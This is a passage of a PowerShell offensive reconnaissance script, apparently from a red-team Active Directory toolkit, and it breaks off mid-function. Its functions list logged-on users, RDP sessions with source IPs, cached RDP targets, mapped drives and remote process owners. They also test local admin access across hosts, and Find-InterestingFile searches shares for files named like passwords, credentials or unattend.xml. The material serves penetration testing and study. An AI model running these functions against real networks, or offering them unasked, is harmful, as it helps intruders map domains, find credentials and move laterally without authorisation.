8262 $Offset += $Increment
8263 $Sessions
8264 }
8265 # free up the result buffer
8266 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
8267 }
8268 else {
8269 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
8270 }
8271}
8272
8273
8274filter Get-LoggedOnLocal {
8275<#
8276 .SYNOPSIS
8277
8278 This function will query the HKU registry values to retrieve the local
8279 logged on users SID and then attempt and reverse it.
8280 Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
8281 using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
8282 required (NetWkstaUserEnum requires remote admin access).
8283
8284 Note: This function requires only domain user rights on the
8285 machine you're enumerating, but remote registry must be enabled.
8286
8287 Function: Get-LoggedOnLocal
8288 Author: Matt Kelly, @BreakersAll
8289
8290 .PARAMETER ComputerName
8291
8292 The ComputerName to query for active sessions.
8293
8294 .EXAMPLE
8295
8296 PS C:\> Get-LoggedOnLocal
8297
8298 Returns active sessions on the local host.
8299
8300 .EXAMPLE
8301
8302 PS C:\> Get-LoggedOnLocal -ComputerName sqlserver
8303
8304 Returns active sessions on the 'sqlserver' host.
8305
8306#>
8307
8308 [CmdletBinding()]
8309 param(
8310 [Parameter(ValueFromPipeline=$True)]
8311 [Alias('HostName')]
8312 [Object[]]
8313 [ValidateNotNullOrEmpty()]
8314 $ComputerName = 'localhost'
8315 )
8316
8317 # process multiple host object types from the pipeline
8318 $ComputerName = Get-NameField -Object $ComputerName
8319
8320 try {
8321 # retrieve HKU remote registry values
8322 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
8323
8324 # sort out bogus sid's like _class
8325 $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
8326 $UserName = Convert-SidToName $_
8327
8328 $Parts = $UserName.Split('\')
8329 $UserDomain = $Null
8330 $UserName = $Parts[-1]
8331 if ($Parts.Length -eq 2) {
8332 $UserDomain = $Parts[0]
8333 }
8334
8335 $LocalLoggedOnUser = New-Object PSObject
8336 $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
8337 $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
8338 $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
8339 $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
8340 $LocalLoggedOnUser
8341 }
8342 }
8343 catch {
8344 Write-Verbose "Error opening remote registry on '$ComputerName'"
8345 }
8346}
8347
8348
8349filter Get-NetRDPSession {
8350<#
8351 .SYNOPSIS
8352
8353 This function will execute the WTSEnumerateSessionsEx and
8354 WTSQuerySessionInformation Win32API calls to query a given
8355 RDP remote service for active sessions and originating IPs.
8356 This is a replacement for qwinsta.
8357
8358 Note: only members of the Administrators or Account Operators local group
8359 can successfully execute this functionality on a remote target.
8360
8361 .PARAMETER ComputerName
8362
8363 The hostname to query for active RDP sessions.
8364
8365 .EXAMPLE
8366
8367 PS C:\> Get-NetRDPSession
8368
8369 Returns active RDP/terminal sessions on the local host.
8370
8371 .EXAMPLE
8372
8373 PS C:\> Get-NetRDPSession -ComputerName "sqlserver"
8374
8375 Returns active RDP/terminal sessions on the 'sqlserver' host.
8376
8377 .EXAMPLE
8378
8379 PS C:\> Get-NetDomainController | Get-NetRDPSession
8380
8381 Returns active RDP/terminal sessions on all domain controllers.
8382#>
8383
8384 [CmdletBinding()]
8385 param(
8386 [Parameter(ValueFromPipeline=$True)]
8387 [Alias('HostName')]
8388 [Object[]]
8389 [ValidateNotNullOrEmpty()]
8390 $ComputerName = 'localhost'
8391 )
8392
8393 # extract the computer name from whatever object was passed on the pipeline
8394 $Computer = $ComputerName | Get-NameField
8395
8396 # open up a handle to the Remote Desktop Session host
8397 $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
8398
8399 # if we get a non-zero handle back, everything was successful
8400 if ($Handle -ne 0) {
8401
8402 # arguments for WTSEnumerateSessionsEx
8403 $ppSessionInfo = [IntPtr]::Zero
8404 $pCount = 0
8405
8406 # get information on all current sessions
8407 $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
8408
8409 # Locate the offset of the initial intPtr
8410 $Offset = $ppSessionInfo.ToInt64()
8411
8412 if (($Result -ne 0) -and ($Offset -gt 0)) {
8413
8414 # Work out how much to increment the pointer by finding out the size of the structure
8415 $Increment = $WTS_SESSION_INFO_1::GetSize()
8416
8417 # parse all the result structures
8418 for ($i = 0; ($i -lt $pCount); $i++) {
8419
8420 # create a new int ptr at the given offset and cast the pointer as our result structure
8421 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
8422 $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
8423
8424 $RDPSession = New-Object PSObject
8425
8426 if ($Info.pHostName) {
8427 $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
8428 }
8429 else {
8430 # if no hostname returned, use the specified hostname
8431 $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
8432 }
8433
8434 $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
8435
8436 if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
8437 # if a domain isn't returned just use the username
8438 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
8439 }
8440 else {
8441 $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
8442 }
8443
8444 $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
8445 $RDPSession | Add-Member Noteproperty 'State' $Info.State
8446
8447 $ppBuffer = [IntPtr]::Zero
8448 $pBytesReturned = 0
8449
8450 # query for the source client IP with WTSQuerySessionInformation
8451 # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
8452 $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
8453
8454 if($Result -eq 0) {
8455 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
8456 }
8457 else {
8458 $Offset2 = $ppBuffer.ToInt64()
8459 $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
8460 $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
8461
8462 $SourceIP = $Info2.Address
8463 if($SourceIP[2] -ne 0) {
8464 $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]
8465 }
8466 else {
8467 $SourceIP = $Null
8468 }
8469
8470 $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
8471 $RDPSession
8472
8473 # free up the memory buffer
8474 $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
8475
8476 $Offset += $Increment
8477 }
8478 }
8479 # free up the memory result buffer
8480 $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
8481 }
8482 else {
8483 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
8484 }
8485 # Close off the service handle
8486 $Null = $Wtsapi32::WTSCloseServer($Handle)
8487 }
8488 else {
8489 Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
8490 }
8491}
8492
8493
8494filter Invoke-CheckLocalAdminAccess {
8495<#
8496 .SYNOPSIS
8497
8498 This function will use the OpenSCManagerW Win32API call to establish
8499 a handle to the remote host. If this succeeds, the current user context
8500 has local administrator acess to the target.
8501
8502 Idea stolen from the local_admin_search_enum post module in Metasploit written by:
8503 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
8504 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
8505 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
8506
8507 .PARAMETER ComputerName
8508
8509 The hostname to query for active sessions.
8510
8511 .OUTPUTS
8512
8513 $True if the current user has local admin access to the hostname, $False otherwise
8514
8515 .EXAMPLE
8516
8517 PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver
8518
8519 Returns active sessions on the local host.
8520
8521 .EXAMPLE
8522
8523 PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess
8524
8525 Sees what machines in the domain the current user has access to.
8526
8527 .LINK
8528
8529 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
8530 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
8531#>
8532
8533 [CmdletBinding()]
8534 param(
8535 [Parameter(ValueFromPipeline=$True)]
8536 [Alias('HostName')]
8537 [Object[]]
8538 [ValidateNotNullOrEmpty()]
8539 $ComputerName = 'localhost'
8540 )
8541
8542 # extract the computer name from whatever object was passed on the pipeline
8543 $Computer = $ComputerName | Get-NameField
8544
8545 # 0xF003F - SC_MANAGER_ALL_ACCESS
8546 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
8547 $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
8548
8549 Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle"
8550
8551 $IsAdmin = New-Object PSObject
8552 $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
8553
8554 # if we get a non-zero handle back, everything was successful
8555 if ($Handle -ne 0) {
8556 $Null = $Advapi32::CloseServiceHandle($Handle)
8557 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
8558 }
8559 else {
8560 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
8561 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
8562 }
8563
8564 $IsAdmin
8565}
8566
8567
8568filter Get-SiteName {
8569<#
8570 .SYNOPSIS
8571
8572 This function will use the DsGetSiteName Win32API call to look up the
8573 name of the site where a specified computer resides.
8574
8575 .PARAMETER ComputerName
8576
8577 The hostname to look the site up for, default to localhost.
8578
8579 .EXAMPLE
8580
8581 PS C:\> Get-SiteName -ComputerName WINDOWS1
8582
8583 Returns the site for WINDOWS1.testlab.local.
8584
8585 .EXAMPLE
8586
8587 PS C:\> Get-NetComputer | Get-SiteName
8588
8589 Returns the sites for every machine in AD.
8590#>
8591 [CmdletBinding()]
8592 param(
8593 [Parameter(ValueFromPipeline=$True)]
8594 [Alias('HostName')]
8595 [Object[]]
8596 [ValidateNotNullOrEmpty()]
8597 $ComputerName = $Env:ComputerName
8598 )
8599
8600 # extract the computer name from whatever object was passed on the pipeline
8601 $Computer = $ComputerName | Get-NameField
8602
8603 # if we get an IP address, try to resolve the IP to a hostname
8604 if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
8605 $IPAddress = $Computer
8606 $Computer = [System.Net.Dns]::GetHostByAddress($Computer)
8607 }
8608 else {
8609 $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress
8610 }
8611
8612 $PtrInfo = [IntPtr]::Zero
8613
8614 $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
8615
8616 $ComputerSite = New-Object PSObject
8617 $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
8618 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
8619
8620 if ($Result -eq 0) {
8621 $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
8622 $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
8623 }
8624 else {
8625 $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
8626 $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage
8627 }
8628
8629 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
8630
8631 $ComputerSite
8632}
8633
8634
8635filter Get-LastLoggedOn {
8636<#
8637 .SYNOPSIS
8638
8639 This function uses remote registry functionality to return
8640 the last user logged onto a target machine.
8641
8642 Note: This function requires administrative rights on the
8643 machine you're enumerating.
8644
8645 .PARAMETER ComputerName
8646
8647 The hostname to query for the last logged on user.
8648 Defaults to the localhost.
8649
8650 .PARAMETER Credential
8651
8652 A [Management.Automation.PSCredential] object for the remote connection.
8653
8654 .EXAMPLE
8655
8656 PS C:\> Get-LastLoggedOn
8657
8658 Returns the last user logged onto the local machine.
8659
8660 .EXAMPLE
8661
8662 PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1
8663
8664 Returns the last user logged onto WINDOWS1
8665
8666 .EXAMPLE
8667
8668 PS C:\> Get-NetComputer | Get-LastLoggedOn
8669
8670 Returns the last user logged onto all machines in the domain.
8671#>
8672
8673 [CmdletBinding()]
8674 param(
8675 [Parameter(ValueFromPipeline=$True)]
8676 [Alias('HostName')]
8677 [Object[]]
8678 [ValidateNotNullOrEmpty()]
8679 $ComputerName = 'localhost',
8680
8681 [Management.Automation.PSCredential]
8682 $Credential
8683 )
8684
8685 # extract the computer name from whatever object was passed on the pipeline
8686 $Computer = $ComputerName | Get-NameField
8687
8688 # HKEY_LOCAL_MACHINE
8689 $HKLM = 2147483650
8690
8691 # try to open up the remote registry key to grab the last logged on user
8692 try {
8693
8694 if($Credential) {
8695 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
8696 }
8697 else {
8698 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
8699 }
8700
8701 $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
8702 $Value = "LastLoggedOnUser"
8703 $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
8704
8705 $LastLoggedOn = New-Object PSObject
8706 $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
8707 $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
8708 $LastLoggedOn
8709 }
8710 catch {
8711 Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."
8712 }
8713}
8714
8715
8716filter Get-CachedRDPConnection {
8717<#
8718 .SYNOPSIS
8719
8720 Uses remote registry functionality to query all entries for the
8721 "Windows Remote Desktop Connection Client" on a machine, separated by
8722 user and target server.
8723
8724 Note: This function requires administrative rights on the
8725 machine you're enumerating.
8726
8727 .PARAMETER ComputerName
8728
8729 The hostname to query for RDP client information.
8730 Defaults to localhost.
8731
8732 .PARAMETER Credential
8733
8734 A [Management.Automation.PSCredential] object for the remote connection.
8735
8736 .EXAMPLE
8737
8738 PS C:\> Get-CachedRDPConnection
8739
8740 Returns the RDP connection client information for the local machine.
8741
8742 .EXAMPLE
8743
8744 PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local
8745
8746 Returns the RDP connection client information for the WINDOWS2.testlab.local machine
8747
8748 .EXAMPLE
8749
8750 PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred
8751
8752 Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials.
8753
8754 .EXAMPLE
8755
8756 PS C:\> Get-NetComputer | Get-CachedRDPConnection
8757
8758 Get cached RDP information for all machines in the domain.
8759#>
8760
8761 [CmdletBinding()]
8762 param(
8763 [Parameter(ValueFromPipeline=$True)]
8764 [Alias('HostName')]
8765 [Object[]]
8766 [ValidateNotNullOrEmpty()]
8767 $ComputerName = 'localhost',
8768
8769 [Management.Automation.PSCredential]
8770 $Credential
8771 )
8772
8773 # extract the computer name from whatever object was passed on the pipeline
8774 $Computer = $ComputerName | Get-NameField
8775
8776 # HKEY_USERS
8777 $HKU = 2147483651
8778
8779 try {
8780 if($Credential) {
8781 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
8782 }
8783 else {
8784 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
8785 }
8786
8787 # extract out the SIDs of domain users in this hive
8788 $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
8789
8790 foreach ($UserSID in $UserSIDs) {
8791
8792 try {
8793 $UserName = Convert-SidToName $UserSID
8794
8795 # pull out all the cached RDP connections
8796 $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
8797
8798 foreach ($Connection in $ConnectionKeys) {
8799 # make sure this key is a cached connection
8800 if($Connection -match 'MRU.*') {
8801 $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
8802
8803 $FoundConnection = New-Object PSObject
8804 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
8805 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
8806 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
8807 $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
8808 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
8809 $FoundConnection
8810 }
8811 }
8812
8813 # pull out all the cached server info with username hints
8814 $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
8815
8816 foreach ($Server in $ServerKeys) {
8817
8818 $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
8819
8820 $FoundConnection = New-Object PSObject
8821 $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
8822 $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
8823 $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
8824 $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
8825 $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
8826 $FoundConnection
8827 }
8828
8829 }
8830 catch {
8831 Write-Verbose "Error: $_"
8832 }
8833 }
8834
8835 }
8836 catch {
8837 Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
8838 }
8839}
8840
8841
8842filter Get-RegistryMountedDrive {
8843<#
8844 .SYNOPSIS
8845
8846 Uses remote registry functionality to query all entries for the
8847 the saved network mounted drive on a machine, separated by
8848 user and target server.
8849
8850 Note: This function requires administrative rights on the
8851 machine you're enumerating.
8852
8853 .PARAMETER ComputerName
8854
8855 The hostname to query for RDP client information.
8856 Defaults to localhost.
8857
8858 .PARAMETER Credential
8859
8860 A [Management.Automation.PSCredential] object for the remote connection.
8861
8862 .EXAMPLE
8863
8864 PS C:\> Get-RegistryMountedDrive
8865
8866 Returns the saved network mounted drives for the local machine.
8867
8868 .EXAMPLE
8869
8870 PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local
8871
8872 Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
8873
8874 .EXAMPLE
8875
8876 PS C:\> Get-RegistryMountedDrive -ComputerName WINDOWS2.testlab.local -Credential $Cred
8877
8878 Returns the saved network mounted drives for the WINDOWS2.testlab.local machine using alternate credentials.
8879
8880 .EXAMPLE
8881
8882 PS C:\> Get-NetComputer | Get-RegistryMountedDrive
8883
8884 Get the saved network mounted drives for all machines in the domain.
8885#>
8886
8887 [CmdletBinding()]
8888 param(
8889 [Parameter(ValueFromPipeline=$True)]
8890 [Alias('HostName')]
8891 [Object[]]
8892 [ValidateNotNullOrEmpty()]
8893 $ComputerName = 'localhost',
8894
8895 [Management.Automation.PSCredential]
8896 $Credential
8897 )
8898
8899 # extract the computer name from whatever object was passed on the pipeline
8900 $Computer = $ComputerName | Get-NameField
8901
8902 # HKEY_USERS
8903 $HKU = 2147483651
8904
8905 try {
8906 if($Credential) {
8907 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
8908 }
8909 else {
8910 $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
8911 }
8912
8913 # extract out the SIDs of domain users in this hive
8914 $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
8915
8916 foreach ($UserSID in $UserSIDs) {
8917
8918 try {
8919 $UserName = Convert-SidToName $UserSID
8920
8921 $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames
8922
8923 ForEach($DriveLetter in $DriveLetters) {
8924 $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue
8925 $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue
8926 $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue
8927 if(-not $UserName) { $UserName = '' }
8928
8929 if($RemotePath -and ($RemotePath -ne '')) {
8930 $MountedDrive = New-Object PSObject
8931 $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
8932 $MountedDrive | Add-Member Noteproperty 'UserName' $UserName
8933 $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
8934 $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
8935 $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
8936 $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
8937 $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
8938 $MountedDrive
8939 }
8940 }
8941 }
8942 catch {
8943 Write-Verbose "Error: $_"
8944 }
8945 }
8946 }
8947 catch {
8948 Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
8949 }
8950}
8951
8952
8953filter Get-NetProcess {
8954<#
8955 .SYNOPSIS
8956
8957 Gets a list of processes/owners on a remote machine.
8958
8959 .PARAMETER ComputerName
8960
8961 The hostname to query processes. Defaults to the local host name.
8962
8963 .PARAMETER Credential
8964
8965 A [Management.Automation.PSCredential] object for the remote connection.
8966
8967 .EXAMPLE
8968
8969 PS C:\> Get-NetProcess -ComputerName WINDOWS1
8970
8971 Returns the current processes for WINDOWS1
8972#>
8973
8974 [CmdletBinding()]
8975 param(
8976 [Parameter(ValueFromPipeline=$True)]
8977 [Alias('HostName')]
8978 [Object[]]
8979 [ValidateNotNullOrEmpty()]
8980 $ComputerName = [System.Net.Dns]::GetHostName(),
8981
8982 [Management.Automation.PSCredential]
8983 $Credential
8984 )
8985
8986 # extract the computer name from whatever object was passed on the pipeline
8987 $Computer = $ComputerName | Get-NameField
8988
8989 try {
8990 if($Credential) {
8991 $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential
8992 }
8993 else {
8994 $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName
8995 }
8996
8997 $Processes | ForEach-Object {
8998 $Owner = $_.getowner();
8999 $Process = New-Object PSObject
9000 $Process | Add-Member Noteproperty 'ComputerName' $Computer
9001 $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
9002 $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
9003 $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
9004 $Process | Add-Member Noteproperty 'User' $Owner.User
9005 $Process
9006 }
9007 }
9008 catch {
9009 Write-Verbose "[!] Error enumerating remote processes on $Computer, access likely denied: $_"
9010 }
9011}
9012
9013
9014function Find-InterestingFile {
9015<#
9016 .SYNOPSIS
9017
9018 This function recursively searches a given UNC path for files with
9019 specific keywords in the name (default of pass, sensitive, secret, admin,
9020 login and unattend*.xml). The output can be piped out to a csv with the
9021 -OutFile flag. By default, hidden files/folders are included in search results.
9022
9023 .PARAMETER Path
9024
9025 UNC/local path to recursively search.
9026
9027 .PARAMETER Terms
9028
9029 Terms to search for.
9030
9031 .PARAMETER OfficeDocs
9032
9033 Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
9034
9035 .PARAMETER FreshEXEs
9036
9037 Switch. Find .EXEs accessed within the last week.
9038
9039 .PARAMETER LastAccessTime
9040
9041 Only return files with a LastAccessTime greater than this date value.
9042
9043 .PARAMETER LastWriteTime
9044
9045 Only return files with a LastWriteTime greater than this date value.
9046
9047 .PARAMETER CreationTime
9048
9049 Only return files with a CreationTime greater than this date value.
9050
9051 .PARAMETER ExcludeFolders
9052
9053 Switch. Exclude folders from the search results.
9054
9055 .PARAMETER ExcludeHidden
9056
9057 Switch. Exclude hidden files and folders from the search results.
9058
9059 .PARAMETER CheckWriteAccess
9060
9061 Switch. Only returns files the current user has write access to.
9062
9063 .PARAMETER OutFile
9064
9065 Output results to a specified csv output file.
9066
9067 .PARAMETER UsePSDrive
9068
9069 Switch. Mount target remote path with temporary PSDrives.
9070
9071 .OUTPUTS
9072
9073 The full path, owner, lastaccess time, lastwrite time, and size for each found file.
9074
9075 .EXAMPLE
9076
9077 PS C:\> Find-InterestingFile -Path C:\Backup\
9078
9079 Returns any files on the local path C:\Backup\ that have the default
9080 search term set in the title.
9081
9082 .EXAMPLE
9083
9084 PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv
9085
9086 Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries'
9087 or 'email' in the title, and writes the results out to a csv file
9088 named 'out.csv'
9089
9090 .EXAMPLE
9091
9092 PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7)
9093
9094 Returns any files on the remote path \\WINDOWS7\Users\ that have the default
9095 search term set in the title and were accessed within the last week.
9096
9097 .LINK
9098
9099 http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/
9100#>
9101
9102 param(
9103 [Parameter(ValueFromPipeline=$True)]
9104 [String]
9105 $Path = '.\',
9106
9107 [Alias('Terms')]
9108 [String[]]
9109 $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config'),
9110
9111 [Switch]
9112 $OfficeDocs,
9113
9114 [Switch]
9115 $FreshEXEs,
9116
9117 [String]
9118 $LastAccessTime,
9119
9120 [String]
9121 $LastWriteTime,
9122
9123 [String]
9124 $CreationTime,
9125
9126 [Switch]
9127 $ExcludeFolders,
9128
9129 [Switch]
9130 $ExcludeHidden,
9131
9132 [Switch]
9133 $CheckWriteAccess,
9134
9135 [String]
9136 $OutFile,
9137
9138 [Switch]
9139 $UsePSDrive
9140 )
9141
9142 begin {
9143
9144 $Path += if(!$Path.EndsWith('\')) {"\"}
9145
9146 if ($Credential) {
9147 $UsePSDrive = $True
9148 }
9149
9150 # append wildcards to the front and back of all search terms
9151 $SearchTerms = $SearchTerms | ForEach-Object { if($_ -notmatch '^\*.*\*$') {"*$($_)*"} else{$_} }
9152
9153 # search just for office documents if specified
9154 if ($OfficeDocs) {
9155 $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
9156 }
9157
9158 # find .exe's accessed within the last 7 days
9159 if($FreshEXEs) {
9160 # get an access time limit of 7 days ago
9161 $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
9162 $SearchTerms = '*.exe'
9163 }
9164
9165 if($UsePSDrive) {
9166 # if we're PSDrives, create a temporary mount point
9167
9168 $Parts = $Path.split('\')
9169 $FolderPath = $Parts[0..($Parts.length-2)] -join '\'
9170 $FilePath = $Parts[-1]
9171
9172 $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
9173
9174 Write-Verbose "Mounting path '$Path' using a temp PSDrive at $RandDrive"
9175
9176 try {
9177 $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
9178 }
9179 catch {
9180 Write-Verbose "Error mounting path '$Path' : $_"
9181 return $Null
9182 }
9183
9184 # so we can cd/dir the new drive
9185 $Path = "${RandDrive}:\${FilePath}"
9186 }
9187 }
9188
9189 process {
9190
9191 Write-Verbose "[*] Search path $Path"
9192
9193 function Invoke-CheckWrite {
9194 # short helper to check is the current user can write to a file
9195 [CmdletBinding()]param([String]$Path)
9196 try {
9197 $Filetest = [IO.FILE]::OpenWrite($Path)
9198 $Filetest.Close()
9199 $True
9200 }
9201 catch {
9202 Write-Verbose -Message $Error[0]
9203 $False
9204 }
9205 }
9206
9207 $SearchArgs = @{
9208 'Path' = $Path
9209 'Recurse' = $True
9210 'Force' = $(-not $ExcludeHidden)
9211 'Include' = $SearchTerms
9212 'ErrorAction' = 'SilentlyContinue'
9213 }
9214
9215 Get-ChildItem @SearchArgs | ForEach-Object {
9216 Write-Verbose $_
9217 # check if we're excluding folders
9218 if(!$ExcludeFolders -or !$_.PSIsContainer) {$_}
9219 } | ForEach-Object {
9220 if($LastAccessTime -or $LastWriteTime -or $CreationTime) {
9221 if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_}
9222 elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_}
9223 elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_}
9224 }
9225 else {$_}
9226 } | ForEach-Object {
9227 # filter for write access (if applicable)
9228 if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_}
9229 } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object {
9230 # check if we're outputting to the pipeline or an output file
